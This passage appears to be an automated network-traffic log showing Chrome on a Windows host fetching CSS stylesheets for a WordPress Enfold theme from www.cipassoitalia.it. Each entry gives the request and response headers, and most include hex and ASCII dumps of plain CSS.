2025-01-09 12:19:17 UTC	2938	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 4d 65 73 73 61 67 65 20 42 6f 78 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Message Box=========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49754	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:16 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:17 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 2730 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:17 UTC	2730	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 6e 69 6d 61 74 65 64 20 4e 75 6d 62 65 72 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Animated Numbers====================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49756	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:17 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:17 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 10267 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:17 UTC	10267	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 50 6f 72 74 66 6f 6c 69 6f 2f 50 6f 73 74 20 47 72 69 64 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Portfolio/Post Grid=================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49757	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:17 UTC	640	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:17 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 7718 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:17 UTC	7718	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 50 72 6f 67 72 65 73 73 20 42 61 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Progress Bar========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49758	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:17 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:17 GMT Content-Type: text/css Content-Length: 1294 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	1294	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 50 72 6f 6d 6f 20 42 6f 78 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Promo Box===========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49759	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	630	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/search/search.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:18 GMT Content-Type: text/css Content-Length: 5194 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	5194	IN	Data Raw: 23 74 6f 70 20 2e 61 76 69 61 5f 73 65 61 72 63 68 5f 65 6c 65 6d 65 6e 74 20 66 6f 72 6d 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 23 74 6f 70 20 2e 61 76 69 61 5f 73 65 61 72 63 68 5f 65 6c 65 6d 65 6e 74 20 66 6f 72 6d 20 64 69 76 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 2f 2a 20 73 65 61 72 63 68 20 66 6f 72 6d 20 77 72 61 70 70 65 72 20 2a 2f 0a 2e 61 76 5f 73 65 61 72 63 68 66 6f 72 6d 5f 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b Data Ascii: #top .avia_search_element form{ position: relative; overflow: hidden; clear: both;}#top .avia_search_element form div{ position: relative; overflow: hidden;}/* search form wrapper */.av_searchform_wrapper { border-width: 1px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49760	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	656	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:18 GMT Content-Type: text/css Content-Length: 2383 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	2383	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 56 49 41 43 43 4f 52 44 49 4f 4e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================AVIACCORDION========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49761	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	664	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:18 GMT Content-Type: text/css Content-Length: 2078 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	2078	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 6c 69 64 65 73 68 6f 77 20 46 65 61 74 75 72 65 20 49 6d 61 67 65 20 53 6c 69 64 65 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Slideshow Feature Image Slider======================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49762	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	654	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:18 GMT Content-Type: text/css Content-Length: 5651 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	5651	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 6c 69 64 65 73 68 6f 77 20 46 75 6c 6c 77 69 64 74 68 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Slideshow Fullwidth=================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49763	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	658	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:18 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:18 GMT Content-Type: text/css Content-Length: 2070 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:18 UTC	2070	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 6c 69 64 65 73 68 6f 77 20 46 75 6c 6c 73 63 72 65 65 6e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Slideshow Fullscreen================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49764	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:18 UTC	660	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:19 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:19 GMT Content-Type: text/css Content-Length: 4907 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
